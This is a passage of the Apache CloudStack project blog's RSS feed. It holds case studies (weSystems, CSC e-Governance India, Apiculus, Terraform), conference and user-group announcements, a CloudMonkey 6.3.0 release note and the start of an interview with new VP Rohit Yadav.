5d4AWKLIyIogqDrjJJP08OKlsBAABgUtFFSAUUUUAf/9D9/KKKKACiiigAprorgqwyCMEHkEU6igDLk0bTZBgQrHj+58v8uKz5/DyupEMxGf7wz/KukooAx3spVUAMMCoVsZsclfzNbL9KjHSmwPN/iR4S8V+J/Aev+HPB+qw6LrWqWU1ra30sbTLavMuzztgKligJKjIycZNfmN8Pv+CPnw00hrWX4leONU1/yAAbXToo9MtmVRhV3nz7kADHSYEkcnGRX7DjrQfvCi4Hz78If2VvgF8Cx53w18G2WnXzDDX8oa7v3Gc4a6uC8xGeg3YHYV9CAYoFLSAKKKKACiiigAooooA//9k=" title="Stephan" width="150" height="150" class="img_ev3q"></p><blockquote><p>“Our job at weSystems is to develop customised solutions that support the
process of digitalization and return customer focus to their business.</p><p>We try to build on open-source where possible, even if it means we take a few
more efforts in the beginning, we are convinced of the benefits of building on
open-source in the long run.”</p><p>-<a href="https://www.linkedin.com/in/stephan-bienek-66aa69206/" target="_blank" rel="noopener noreferrer">Stephan Bienek</a>, Head of Hosting, weSystems</p></blockquote><h1>A Quest for the Perfect Fit</h1><p>weSystems embarked on a journey to find the ideal platform for building a
multi-tenant IaaS cloud offering that could handle diverse workloads and support
managed hosting and application services. The chosen platform needed to
encompass several key features, including support for multiple zones,
multi-tenancy, integration with the Kubernetes ecosystem, Ceph Storage, and the
flexibility to create custom service offerings. After evaluating multiple
options, CloudStack emerged as the frontrunner, surpassing alternatives like
OpenStack, Proxmox, and VMware.</p><p><img loading="lazy" src="/assets/images/brian-9cfe45a2da05f8f616e96dd58047f7cb.png" title="Brian" width="150" height="160" class="img_ev3q"></p><blockquote><p>“The rich feature set in computing, networking and UI/API’s flexibility, to
combine features fulfilling a new requirement whilst still keeping the ease of
operation and use is the perfect match for us.”</p><p>-<a href="https://www.linkedin.com/in/brian-n%C3%B8rgaard-granh%C3%B8j-2b0a001/?originalSubdomain=dk" target="_blank" rel="noopener noreferrer">Brian Nørgaard</a>, Director Nordic, weSystems ApS</p></blockquote><a class="button button--primary" target="_blank" href="/files/ACS-WeSystems-Case-Study.pdf">DOWNLOAD THE CASE STUDY</a><br><br><h1>Empowering Complex Solutions</h1><p>The implementation journey began with a Proof of Concept (PoC) to evaluate
CloudStack's capabilities. It quickly became evident that CloudStack offered the
clarity of documentation, ease of setup, and daily operation that weSystems was
seeking. Once the PoC was established, they moved on to set up a productive zone
and simultaneously focused on developing automation processes, tooling, usage
tracking, and billing.</p><p>Through rigorous testing and adaptation, the team found that CloudStack's
versatility allowed them to address unexpected challenges effectively. The
platform seamlessly integrated into their technology stack components, promoting
operational efficiency and team trust. The ability to deploy standard and
customized virtual machines, along with a clean and intuitive Web UI and API,
facilitated easy adoption among the team and customers.</p><h1>Contributing to the Open-Source Community</h1><p>As advocates of open-source software, weSystems finds value in contributing to
CloudStack's ecosystem. They actively participate by proposing new
functionalities, contributing code to the open and transparent codebase, and
offering support to the community. The extensive and passionate community
surrounding CloudStack provides a safety net for operational concerns and
troubleshooting.</p>]]></content:encoded>
            <category>case-studies</category>
        </item>
        <item>
            <title><![CDATA[CloudStack Collaboration Conference 2023]]></title>
            <link>https://cloudstack.apache.org/blog/cloudstack-collaboration-conference-2023</link>
            <guid>https://cloudstack.apache.org/blog/cloudstack-collaboration-conference-2023</guid>
            <pubDate>Mon, 24 Jul 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[On November 23-24th 2023, the annual [CloudStack Collaboration]]></description>
            <content:encoded><![CDATA[<p><a href="/blog/cloudstack-collaboration-conference-2023"><img loading="lazy" src="/assets/images/banner-b32cefdda62d7e406fe7beac44db131b.png" title="CloudStack Collaboration Conference 2023" width="904" height="472" class="img_ev3q"></a></p><p>On November 23-24th 2023, the annual <a href="https://www.cloudstackcollab.org/" target="_blank" rel="noopener noreferrer">CloudStack Collaboration
Conference</a> will be taking place in the
<a href="https://www.ihg.com/voco/hotels/gb/en/clichy/parpc/hoteldetail" target="_blank" rel="noopener noreferrer">VOCO Paris, Porte de
Clichy</a>. Once
again, this year’s CCC will be a hybrid event, seeing the global CloudStack
community joining on site and virtually from around the world. <a href="https://events.hubilo.com/cloudstack-collaboration-conference-2023/register" target="_blank" rel="noopener noreferrer">Registration is
currently
open</a>,
with free entry to anybody adopting or interested in the open-source technology.</p><a href="https://events.hubilo.com/cloudstack-collaboration-conference-2023/register" target="_blank" rel="noopener noreferrer" class="button button--primary button--lg">REGISTER</a><br><br><h1>What to Expect</h1><p>For those new to the new community, CCC is a hybrid event aimed at developers,
operators and users to discuss and evolve the open-source software project, its
functionality and real-world operability. This event will introduce you to the
CloudStack family, community leaders, project members and contributors. To get
an idea of previous sessions held, feel free to read last’s year event <a href="https://cloudstack.apache.org/blog/cloudstack-collaboration-conference-2022-roundup" target="_blank" rel="noopener noreferrer">roundup
blog</a>.</p><h1>Call for Speakers</h1><p>The event team is currently accepting session proposals, providing you the
opportunity to host your own session on the global stage. If you have a story
about CloudStack, building cloud infrastructure, developing CloudStack features
or integration, security, scalability, multi-cloud, <a href="https://docs.google.com/forms/d/e/1FAIpQLSdaFH8I_fubiImp6mOXpAPL82UfjpCgisu3WAQBMtY-geqWyA/viewform" target="_blank" rel="noopener noreferrer">submit your talk now!</a></p><a href="https://docs.google.com/forms/d/e/1FAIpQLSdaFH8I_fubiImp6mOXpAPL82UfjpCgisu3WAQBMtY-geqWyA/viewform" target="_blank" rel="noopener noreferrer" class="button button--primary button--lg">SUBMIT A TALK</a><br><br><h1>Sponsorship Opportunity</h1><p>The CloudStack Collaboration Conference stands as the premier global event for
CloudStack and open-source cloud enthusiasts. This powerful platform is adopted
by major telecoms, enterprises, and Fortune 100 companies worldwide. Embrace the
opportunity to sponsor the conference, granting you access to connect and
network with top-tier senior staff and C-level executives from these esteemed
organizations. By becoming a sponsor, you gain the advantage of engaging with
numerous developers, cloud architects, and technical leaders. Moreover,
partnering with the CloudStack Collaboration Conference offers your brand
enhanced visibility within one of the most dynamic and vibrant open-source
communities across the globe.</p><a href="https://www.cloudstackcollab.org/wp-content/uploads/2023/02/Sponsorship-Prospectus-CCC-2023.pdf" target="_blank" rel="noopener noreferrer" class="button button--primary button--lg">Download the Sponsorship Prospectus</a><br><br><p>If you have any questions, or would like to sponsor the conference, email the
event team:  <a href="mailto:info@cloudstackcollab.org" target="_blank" rel="noopener noreferrer">info@cloudstackcollab.org</a></p><p>Event sponsors to date:</p><p><img loading="lazy" src="/assets/images/sponsors-1ba0d96d719149985bf5f8c43d3ab2f7.png" width="848" height="152" class="img_ev3q"></p>]]></content:encoded>
            <category>news</category>
        </item>
        <item>
            <title><![CDATA[CloudStack India User Group 2023]]></title>
            <link>https://cloudstack.apache.org/blog/cloudstack-india-user-group-meetup-2023</link>
            <guid>https://cloudstack.apache.org/blog/cloudstack-india-user-group-meetup-2023</guid>
            <pubDate>Mon, 17 Jul 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[This year, the Indian CloudStack community will be hosting a User Group at]]></description>
            <content:encoded><![CDATA[<p><a href="/blog/cloudstack-india-user-group-meetup-2023"><img loading="lazy" src="/assets/images/banner-292e055d58953a366a425938402391bb.jpg" title="CloudStack India User Group Meetup 2023" width="904" height="508" class="img_ev3q"></a></p><p>This year, the Indian CloudStack community will be hosting a User Group at
<a href="https://goo.gl/maps/4EHfgrFTwXhLzZJ79" target="_blank" rel="noopener noreferrer"><strong>Room 6G, WeWork Galaxy, Bangalore</strong></a>,
taking place on <strong>August 18th 2023</strong>.</p><p>If you are an existing Apache CloudStack User or want to know more about the
technology, join us for the user group, which will host exciting tech talks,
demos and user stories. As for all events organised by the Apache CloudStack
community, <a href="https://www.meetup.com/india-cloudstack-user-group/events/294738405" target="_blank" rel="noopener noreferrer">registration is free of
charge</a>.</p><a href="https://www.meetup.com/india-cloudstack-user-group/events/294738405" target="_blank" rel="noopener noreferrer" class="button button--primary button--lg">REGISTER</a><br><br><p>The <strong><a href="https://docs.google.com/forms/d/1eRWD8pWosgOavD2hhn0mSUSyRpqjtbEWHmPY-NqXYIQ/viewform?edit_requested=true" target="_blank" rel="noopener noreferrer">Call for
Presentations</a>
is currently open!</strong> When submitting a talk, you have
the option to share any technical talks, user stories, new features,
integrations presentations and more! Submitting a session proposal to the User
Group offers an opportunity to share your expertise, contribute to the
community, and gain recognition in the cloud computing industry.</p><p><strong>Please note, the deadline for session proposals is August 11th, 2023.</strong></p><a href="https://docs.google.com/forms/d/1eRWD8pWosgOavD2hhn0mSUSyRpqjtbEWHmPY-NqXYIQ/viewform?edit_requested=true" target="_blank" rel="noopener noreferrer" class="button button--primary button--lg">Submit a Talk</a><br><br><h1>A Note from Our VP</h1><p><img loading="lazy" src="/assets/images/vp-405637cfcb1d6007d1af78e182c0b9db.png" title="VP Apache CloudStack" width="177" height="185" class="img_ev3q"></p><blockquote><p>“CloudStack meetups allow our community of users, contributors, vendors and
integrators to get together, collaborate and network to share their problems,
discuss ideas and solutions around CloudStack.</p><p>Meetups give the opportunity for attendees to hear from speakers on real-world
use of CloudStack, learn about their solutions, integrations and about upcoming
features and releases of CloudStack. It's just a great place to be for anybody
considering CloudStack or starting to build private cloud.”</p><p>-<!-- -->&nbsp;<a href="https://www.linkedin.com/in/rohityadavcloud/" target="_blank" rel="noopener noreferrer">Rohit Yadav</a>, PMC Chair and VP Apache CloudStack</p></blockquote><h1>Agenda</h1><ul><li>12:00 PM – 1.00 PM: Pizzas, Networking and Registration</li><li>1:00 PM – 1:15 PM: Welcome and State of Apache CloudStack Community, Rohit Yadav, VP Apache CloudStack</li><li>1:15 PM – 1:45 PM: What's Coming in CloudStack 4.19, Abhishek Kumar</li><li>2:00 PM – 2:50 PM: Deploying Kubernetes Clusters on Apache CloudStack, Kiran Chavala, Vishesh Jindal</li><li>3:00 PM – 3:30 PM: CloudStack Object Storage Framework &amp; Demo, Kishan Kavala</li><li>3:30 PM – 4:00 PM: CloudStack Managed User-data &amp; Demo, Harikrishna Patnala</li><li>4.10 PM – 4.35 PM: Deploying CloudStack with Ceph, Ravichandran P, AssistanZ Networks</li><li>4:35 PM – 5:00 PM: Mitigating Common CloudStack Instance Deployment Failures, Jithin Raju</li><li>5:00 PM – 5:30 PM: Farewell to community and Networking</li></ul>]]></content:encoded>
            <category>news</category>
        </item>
        <item>
            <title><![CDATA[Apache CloudStack and Terraform Solution Brief]]></title>
            <link>https://cloudstack.apache.org/blog/terraform-solution-brief</link>
            <guid>https://cloudstack.apache.org/blog/terraform-solution-brief</guid>
            <pubDate>Fri, 14 Jul 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[IT solution providers need to satisfy the demand for the delivery of diverse]]></description>
            <content:encoded><![CDATA[<p><a href="/blog/terraform-solution-brief"><img loading="lazy" src="/assets/images/banner-f764b7dbd111c1ab9f0570cd7366ae0f.png" title="CSC" width="904" height="472" class="img_ev3q"></a></p><p>IT solution providers need to satisfy the demand for the delivery of diverse
services in the short-term. Time-to-market when offering IT solutions, IaaS or
just provisioning infrastructure is a key factor for the company’s
competitiveness. This requires companies to utilize tools capable of providing
the agility to deliver new features, scalability, and infrastructure anywhere
almost instantly.</p><p><a href="https://www.terraform.io/" target="_blank" rel="noopener noreferrer">Terraform</a> is an open-source infrastructure-as-code
tool created by Hashicorp and Licensed through the Apache 2 License. By using
Terraform, end users can easily create complex infrastructures anywhere, since
Terraform has a huge list of providers supported, including Apache CloudStack.</p><p>HashiCorp Terraform helps organizations improve productivity, reduce risk, and
increase business velocity as they integrate cloud into their IT environments.
According to them, it improves IT Ops productivity up to 75%.</p><h1>Apache CloudStack and Terraform Integration</h1><p>Terraform relies on a set of plugins known as Providers in order to provision or
manage resources and cloud services. As part of the integration of Terraform and
Apache CloudStack, Terraform requires a specific CloudStack provider, which acts
as a transition layer between Terraform and Apache CloudStack. This provider was
written to provision and manage resources such as virtual machines, networks,
templates, volumes etc., using the CloudStack APIs.</p><p>There are two main working components here:</p><ul><li>Terraform Core</li><li>CloudStack's Provider</li></ul><p><img loading="lazy" src="/assets/images/terraform-1a484db84988e35f418015b5b39328df.png" title="CloudStack Terraform Integration" width="1384" height="406" class="img_ev3q"></p><a class="button button--primary" target="_blank" href="/files/terraform-solution-brief 2023.pdf">DOWNLOAD THE SOLUTION BRIEF</a><br><br><p><img loading="lazy" src="/assets/images/tamara-686196c4467fd39f89fec80c14519d0d.png" title="Tamara" width="128" height="164" class="img_ev3q"></p><blockquote><p>“CloudStack and Terraform bring scalability and flexibility. The immediate
benefit out of them is that you can have tested and proven blueprints and roll
out environments quickly. Terraform is perfect for quickly creating Test/Dev
environments.</p><p>In distributed teams, collaboration is extremely important. Infrastructure as
code is a huge boost, helping teams to collaborate on code.”</p><p>-<a href="https://www.linkedin.com/in/muryshkin/" target="_blank" rel="noopener noreferrer">Tamara Muryshkin</a>, Enterprise Service Manager at Fraunhofer-Gesellschaft</p></blockquote><h1><a href="https://www.terraform.io/" target="_blank" rel="noopener noreferrer">About Terraform</a></h1><p>Terraform is an <strong>open-source infrastructure as code software tool</strong> that provides a
consistent CLI workflow to <strong>manage hundreds of cloud services</strong>. Terraform codifies
cloud APIs into declarative configuration files.</p><p>Terraform allows infrastructure to be expressed as code in a simple,
human-readable language called HCL (HashiCorp Configuration Language). It reads
configuration files and provides an execution plan of changes, which can be
reviewed for safety and then applied and provisioned. <strong>Extensible providers allow
Terraform to manage a broad range of resources, including IaaS, PaaS, SaaS, and
hardware services.</strong></p><a class="button button--primary" target="_blank" href="/files/terraform-solution-brief 2023.pdf">DOWNLOAD THE SOLUTION BRIEF</a><br>]]></content:encoded>
            <category>case-studies</category>
        </item>
        <item>
            <title><![CDATA[Bringing Digital Services to 1.3 Billion People with Apache CloudStack]]></title>
            <link>https://cloudstack.apache.org/blog/bringing-digital-services-to-billions-with-apache-cloudstack</link>
            <guid>https://cloudstack.apache.org/blog/bringing-digital-services-to-billions-with-apache-cloudstack</guid>
            <pubDate>Thu, 22 Jun 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[The Common Services Centres (CSC) scheme is one of the]]></description>
            <content:encoded><![CDATA[<p><a href="/blog/bringing-digital-services-to-billions-with-apache-cloudstack"><img loading="lazy" src="/assets/images/banner-ba1db4ab2058e27e54aea2ada0083376.png" title="CSC" width="904" height="472" class="img_ev3q"></a></p><p>The <a href="https://csc.gov.in/" target="_blank" rel="noopener noreferrer">Common Services Centres (CSC)</a> scheme is one of the
mission mode projects under the Digital India Programme. They are the access
points of essential public utility services, social welfare schemes, healthcare,
financial, education and agricultural services, apart from host of B2C services
to citizens in rural and remote areas of the country.</p><h1>CSC e-Governance India with CloudStack</h1><p>In order to access these services, <a href="https://csc.gov.in/" target="_blank" rel="noopener noreferrer">CSC E-Governance India</a>
chose CloudStack to underpin the delivery and build a government community cloud
for powering applications which aid in creating a digitally inclusive ecosystem.
In 2022, the system caters to an average of more than 200 million citizens every
month across the country. All this is looked after by a team of just 20 staff.</p><a class="button button--primary" target="_blank" href="/files/cloudstack-case-study-csc-e-govermance-2023.pdf">DOWNLOAD THE CASE STUDY</a><br><br><p><img loading="lazy" src="/assets/images/abhishek-5f5cb51b3563a0abbcc947050c0ba3bf.png" title="Abhishek Ranjan" width="200" height="197" class="img_ev3q"></p><blockquote><p>“I was impressed from the outset with CloudStack due to its ease-of-use,
particularly with regard to implementation. We were able to install and
configure the solution in one go and since 2015 it has been running successfully
for 7 years to date.”</p><p>-<a href="https://www.linkedin.com/in/abhishekranjan/" target="_blank" rel="noopener noreferrer">Abhishek Ranjan</a>, former CTO of CSC e-Governance India</p></blockquote><h1>CloudStack infrastructure supports 5X growth in 7 years</h1><p><img loading="lazy" src="/assets/images/csc-fff06ace8f1c3907aaffb4b124b6219a.png" title="CSC" width="904" height="328" class="img_ev3q"></p><p>Since 2015, there were approximately 100,000 kiosks and 28 million
e-transactions. Fast forward to 2022, there were 541,000 kiosks with 389
million e-transactions. Abhishek credits the possibility of this growth rate ‘to
the scalability and reliability of CloudStack’.</p><a class="button button--primary" target="_blank" href="/files/cloudstack-case-study-csc-e-govermance-2023.pdf">DOWNLOAD THE CASE STUDY</a>]]></content:encoded>
            <category>case-studies</category>
        </item>
        <item>
            <title><![CDATA[Apiculus – Cloud Management Suite for Service Providers]]></title>
            <link>https://cloudstack.apache.org/blog/apiculus</link>
            <guid>https://cloudstack.apache.org/blog/apiculus</guid>
            <pubDate>Tue, 30 May 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[Apiculus is a fully integrated and re-brandable]]></description>
            <content:encoded><![CDATA[<p><a href="/blog/apiculus"><img loading="lazy" src="/assets/images/apiculus-banner-931fff7c0065cf592d2de1e5152bc623.png" title="Apiculus" width="1200" height="628" class="img_ev3q"></a></p><p><a href="https://www.apiculus.io/" target="_blank" rel="noopener noreferrer">Apiculus</a> is a fully integrated and re-brandable
public cloud management software for ISPs, data centres and telcos that combines
cloud monetisation, customer lifecycle and infrastructure management into a
single pane of glass. Apiculus is an all-in-one technology platform that
combines infrastructure management, cloud service management, customer lifecycle
management, and an integrated solution for the cloud providers in the Edge market.</p><p>Apiculus is developed by <a href="https://www.indiqus.com/" target="_blank" rel="noopener noreferrer">IndiQus Technologies</a>, an
India-based cloud solutions company that has set up and managed over 25 public,
private and hybrid clouds globally.</p><p><img loading="lazy" src="/assets/images/apiculus-c8b7d70cb6984a7bf662836a5b5b3386.png" title="Apiculus" width="924" height="506" class="img_ev3q"></p><h1>Apiculus with Apache CloudStack</h1><p>Apiculus adds a layer of powerful customer lifecycle management features to
Apache CloudStack, providing a self-service CMP (cloud management platform),
marketplace, monetization, monitoring, and support systems. By building on top
of the existing orchestration capabilities of Apache CloudStack, Apiculus
introduces a business layer that enhances the platform's capabilities.</p><a class="button button--primary" target="_blank" href="/files/apiculus-case-study-2023.pdf">DOWNLOAD THE CASE STUDY</a><br><br><p><img loading="lazy" src="/assets/images/kshitish-49c3403d820a0addb7c8a05aeb195d9f.png" title="Kshitish" width="200" height="200" class="img_ev3q"></p><blockquote><p>“Our aim is to position the combination of CloudStack and Apiculus as a robust
cloud solution in 100+ countries and 300+ Enterprises in the next 3 years, and
establish the combination as the go-to choice for operating private and public
clouds.”</p><p>-<a href="https://www.linkedin.com/in/kshitishpurohit/" target="_blank" rel="noopener noreferrer">Kshitish Purohit</a>, Chief Product Officer, Apiculus</p></blockquote><h1>Apiculus Features</h1><p>Apiculus empowers service providers to establish a marketplace featuring a range
of value-added services such as PaaS, IaaS, SaaS, and multi-cloud offerings.</p><p>With Apiculus, service providers can offer an extensive selection of
cloud-native and IaaS services through a PaaS, IaaS, SaaS, and multi-cloud ready
marketplace, enabling them to capture a larger share of their customers'
spending.</p><p>Apiculus also provides support for multiple regions and currencies, making it
easy to handle global and local billing requirements.</p><p>Service providers can define and create custom catalogues featuring integrated
or billing-only services with various targeting options for customer accounts.</p><p>Additionally, Apiculus makes it easy to streamline customer acquisition by
enabling service providers to create cash vouchers, site discounts, and various
structured trial benefits. This helps businesses attract and retain customers
while optimizing their marketing efforts.</p><a class="button button--primary" target="_blank" href="/files/apiculus-case-study-2023.pdf">DOWNLOAD THE CASE STUDY</a>]]></content:encoded>
            <category>case-studies</category>
        </item>
        <item>
            <title><![CDATA[CSEUG 2023 Roundup]]></title>
            <link>https://cloudstack.apache.org/blog/cseug-2023-roundup</link>
            <guid>https://cloudstack.apache.org/blog/cseug-2023-roundup</guid>
            <pubDate>Wed, 24 May 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[CloudStack European User Group 2023 took place on the 4th May. The event,]]></description>
            <content:encoded><![CDATA[<p><a href="/blog/cseug-2023-roundup"><img loading="lazy" src="/assets/images/banner-585db8f7a51b64dd337af187112709e2.png" title="Banner" width="2246" height="1164" class="img_ev3q"></a></p><p>CloudStack European User Group 2023 took place on the 4th May. The event,
organised by Apache CloudStack community members was held in <a href="https://www.google.com/maps/place/Cifas/@51.5252771,-0.1280909,15z/data=!4m2!3m1!1s0x0:0x67144bffc4ed0340?sa=X&amp;gl=us&amp;ved=2ahUKEwjw2q689-z-AhWJfMAKHfmoDZoQ_BJ6BAhfEAg" target="_blank" rel="noopener noreferrer">Cifas,
London</a>.</p><p>For those who were not able to attend in-person, the event was <a href="https://www.youtube.com/watch?v=pt8bBsZN5Xk" target="_blank" rel="noopener noreferrer">live-streamed on
Apache CloudStack’s YouTube channel</a>.</p><p>The Apache CloudStack community is grateful to the events sponsors for
supporting the event and helping make it a reality –
<a href="https://www.shapeblue.com/" target="_blank" rel="noopener noreferrer">ShapeBlue</a>, <a href="https://your.online/" target="_blank" rel="noopener noreferrer">Your.Online</a> and
<a href="https://storpool.com/" target="_blank" rel="noopener noreferrer">StorPool</a>.</p><p>This blog shares the session recordings and descriptions for those who were not
able to attend.</p><h1>Sessions</h1><p><a href="https://www.youtube.com/watch?v=K6AZrM85q9I&amp;list=PLnIKk7GjgFlZtSvP7zSXDKr-r5qLCKCFd&amp;index=3" target="_blank" rel="noopener noreferrer"><strong>Welcome, Giles Sirett</strong><img loading="lazy" src="/assets/images/welcome-60f9a0450e669c75a30b1971ec8b620b.png" width="1173" height="644" class="img_ev3q"></a>
<strong>Session description:</strong>
Giles Sirett, CEO of ShapeBlue and Chairman of CSEUG, gives an outline of what
everyone could expect for the day.</p><p><a href="https://www.youtube.com/watch?v=BthKUzK2KvE&amp;list=PLnIKk7GjgFlZtSvP7zSXDKr-r5qLCKCFd&amp;index=4" target="_blank" rel="noopener noreferrer"><strong>What’s new in CloudStack 4.18, Giles Sirett</strong><img loading="lazy" src="/assets/images/whats-new-270a36e75a2f3ec76b02a40451511729.png" width="1193" height="657" class="img_ev3q"></a>
<strong>Session description:</strong>
In this session, Giles Sirett gives an overview of some of the most exciting
features and integrations introduced in Apache CloudStack 4.18. Some of these
features include edge zones, SDN integration (Tungsten Fabric), autoscaling,
managed user data and more.</p><p><a href="https://www.youtube.com/watch?v=pukEbV70iTc&amp;list=PLnIKk7GjgFlZtSvP7zSXDKr-r5qLCKCFd&amp;index=5" target="_blank" rel="noopener noreferrer"><strong>CloudStack Monitoring, Lucian Burlacu, ShapeBlue</strong><img loading="lazy" src="/assets/images/monitoring-9acce1e3a453b9e8745fd929290d8d66.png" width="1194" height="659" class="img_ev3q"></a>
<strong>Session description:</strong>
In this session, Lucian Burlacu from ShapeBlue, gives an introduction to
monitoring CloudStack, from the hardware up to the stack.</p><p><a href="https://www.youtube.com/watch?v=0yMs7Jkw4g4&amp;list=PLnIKk7GjgFlZtSvP7zSXDKr-r5qLCKCFd&amp;index=6" target="_blank" rel="noopener noreferrer"><strong>News about LINBIT SDS &amp; CloudStack, Rene Peinthor, LINBIT</strong><img loading="lazy" src="/assets/images/linbit-3110349fd63d94270116bdf8f000f68f.png" width="1199" height="657" class="img_ev3q"></a>
<strong>Session description:</strong>
In this session, Rene Peinthor from LINBIT, shares the recent updates to the
LINSTOR driver. He also shows the results of combining CloudStack &amp; XCP-ng with
LINBIT's storage stack.</p><p><a href="https://www.youtube.com/watch?v=LLwmjV19_WU&amp;list=PLnIKk7GjgFlZtSvP7zSXDKr-r5qLCKCFd&amp;index=7" target="_blank" rel="noopener noreferrer"><strong>Re-using old hardware, thus saving money and the environment, Wido den Hollander, Your.Online</strong><img loading="lazy" src="/assets/images/re-using-old-hardware-afabe253855d7794b6649205383bfca8.png" width="1194" height="661" class="img_ev3q"></a>
<strong>Session description:</strong>
Watch the session to learn from Wido Den Hollander - tips and tricks to make use
of older hardware for a longer time in your CloudStack environment.</p><p><a href="https://www.youtube.com/watch?v=9kZ0tJlh60Y&amp;list=PLnIKk7GjgFlZtSvP7zSXDKr-r5qLCKCFd&amp;index=8" target="_blank" rel="noopener noreferrer"><strong>Tungsten Fabric SDN for Core and Edge Zones in ACS, Alexandre Mattioli, ShapeBlue</strong><img loading="lazy" src="/assets/images/tungsten-fabric-0d3453f2d51ec0242f1806d8f86aa706.png" width="1200" height="659" class="img_ev3q"></a>
<strong>Session description:</strong>
In this session, Alexandre Mattioli from ShapeBlue shares how Tungsten Fabric
allows for richer network topologies in CloudStack without the need for
commercial solutions.</p><p><a href="https://www.youtube.com/watch?v=B_vFqHIDREs&amp;list=PLnIKk7GjgFlZtSvP7zSXDKr-r5qLCKCFd&amp;index=9" target="_blank" rel="noopener noreferrer"><strong>A proposal - make changes in Apache CloudStack faster and low risk with vendor CI systems, Boyan Krosnov, Niki Tenev, StorPool</strong><img loading="lazy" src="/assets/images/a-proposal-storpool-ad1d6d4cfd344ec33b2ffc46c76d6901.png" width="1206" height="660" class="img_ev3q"></a>
<strong>Session description:</strong>
In this session, Boyan Krosnov and Niki Tenev from StorPool share other
community's approaches to vendor CI systems, thus sparking the conversation on
the future of the Apache CloudStack community's approach.</p><p><a href="https://www.youtube.com/watch?v=NvIhxSh8L0M&amp;list=PLnIKk7GjgFlZtSvP7zSXDKr-r5qLCKCFd&amp;index=10" target="_blank" rel="noopener noreferrer"><strong>Dimsi and Backroll : What’s new/next release, Pierre Charton, Pierre de La Ville and Ousmane, Dimsi</strong><img loading="lazy" src="/assets/images/dimsi-backroll-3ac79e9641cde3a650b248963a28ddc7.png" width="1197" height="658" class="img_ev3q"></a>
<strong>Session description:</strong>
In this session, team members from DIMSI, share DIMSI's backroll (KVM guest
agent backup) project news and CloudStack plugin release.</p>]]></content:encoded>
            <category>news</category>
            <category>roundup</category>
        </item>
        <item>
            <title><![CDATA[Apache CloudStack CloudMonkey 6.3.0 Release]]></title>
            <link>https://cloudstack.apache.org/blog/cloudmonkey-6.3-release</link>
            <guid>https://cloudstack.apache.org/blog/cloudmonkey-6.3-release</guid>
            <pubDate>Wed, 10 May 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[We are pleased to announce the release of Apache CloudStack CloudMonkey v6.3.0,]]></description>
            <content:encoded><![CDATA[<p><a href="/blog/cloudmonkey-6.3-release"><img loading="lazy" src="/assets/images/banner-00cffd639418c48fde1f4c479259e9b6.svg" title="CloudMonkey Image" width="1484" height="363" class="img_ev3q"></a></p><p>We are pleased to announce the release of Apache CloudStack CloudMonkey v6.3.0,
the latest version of the popular command-line interface tool for managing
Apache CloudStack environments.</p><p>CloudMonkey 6.3.0 comes packed with several new features, enhancements, and bug
fixes to make it even more robust and reliable. Some of the key highlights of
this release include:</p><ul><li>Add support for ARM64 Darwin/OSX build in Makefile</li><li>Autocompletion on storage pool related APIs</li><li>Enable profile information passing through commandline</li><li>Profile caching improvements and bugfixes</li><li>Fix: reuse cmk's CLI params to call piped cmd</li><li>Maintenance changes - github actions/travis migration, dependencies upgrades,</li><li>Various bug fixes</li><li>Fixes handling of invalid timeout value</li><li>Fixes csv output</li></ul><p>CloudMonkey v6.3.0 is <a href="https://cloudstack.apache.org/downloads.html" target="_blank" rel="noopener noreferrer">available for download</a>
now from the Apache CloudStack website. For more information on the release, including a full list
of new features and bug fixes, please refer to the release notes.</p><a href="https://github.com/apache/cloudstack-cloudmonkey/releases/tag/6.3.0" target="_blank" rel="noopener noreferrer" class="button button--primary">Download CloudMonkey v6.3.0</a><br><br><h1>Downloads and Documentation</h1><p>The official source code for CloudMonkey v6.3.0 can be downloaded from:
<a href="https://cloudstack.apache.org/downloads.html" target="_blank" rel="noopener noreferrer">https://cloudstack.apache.org/downloads.html</a></p><p>CloudMonkey's usage details are documented at
<a href="https://github.com/apache/cloudstack-cloudmonkey/wiki" target="_blank" rel="noopener noreferrer">https://github.com/apache/cloudstack-cloudmonkey/wiki</a></p><p>We encourage all CloudStack users to upgrade to CloudMonkey 6.3.0 to take
advantage of the latest features and improvements. As always, we welcome
feedback and contributions from the community to help make CloudMonkey even
better.</p><p>Thank you for your continued support of Apache CloudStack CloudMonkey.</p>]]></content:encoded>
            <category>announcement</category>
        </item>
        <item>
            <title><![CDATA[Meet Rohit Yadav - the new VP of Apache CloudStack]]></title>
            <link>https://cloudstack.apache.org/blog/meet-rohit-yadav-the-new</link>
            <guid>https://cloudstack.apache.org/blog/meet-rohit-yadav-the-new</guid>
            <pubDate>Wed, 03 May 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[Rohit Yadav]]></description>
            <content:encoded><![CDATA[<p><a href="/blog/meet-rohit-yadav-the-new"><img loading="lazy" alt="Rohit Yadav" src="/assets/images/header-79150c9f96db9e025aa858649bc15c73.jpg" title="Rohit Yadav - the new VP of Apache CloudStack" width="1200" height="628" class="img_ev3q"></a></p><p>The CloudStack Community is happy to announce Rohit Yadav as the new VP of the
Apache CloudStack Project and PMC chair. After a year of success in which Simon
Weller chaired the project, we are now excited to welcome Rohit, who is a
long-term contributor to the project. He has a strong technology background and
has been engaged in the open-source world for more than a decade, during which
he contributed to multiple other open-source projects.</p><p>In this interview, you will be able to learn more about Rohit Yadav and see his
perspective on the VP's role and how he can contribute to the Apache CloudStack
project evolution.</p><p><strong>Why do you believe in open-source, where and how did it all start?</strong></p><p>During my university days, I got introduced to open-source as a way of
community-driven development. Compared to proprietary and closed-source
software, I found the idea of open-source remarkable that anybody can access
source code, learn it, modify it, distribute it, and even contribute it back.</p><p>In my spare time, I started learning and contributing to a few open-source
projects as a hobby and even created some open-source side-projects. I also got
an opportunity to work with the VideoLAN project as a Google Summer of Code
student and later worked as a volunteer summer student at CERN.</p><p><img loading="lazy" alt="Rohit Yadav" src="/assets/images/small-photo-9b8dbcd568888567ae8702a46fc25b15.jpg" title="Rohit Yadav" width="800" height="800" class="img_ev3q"></p><p>All of this early experience inculcated an interest in open-source and
virtualisation, and eventually, I was hired straight out of university by Citrix
to work on open-source Apache CloudStack project that was still in the ASF
incubator at the time. This is when I learned about the ASF and how to work in
the Apache CloudStack community from my colleagues and from the community, and I
learnt how to <a href="https://infra.apache.org/contributors.html" target="_blank" rel="noopener noreferrer">contribute changes</a>.
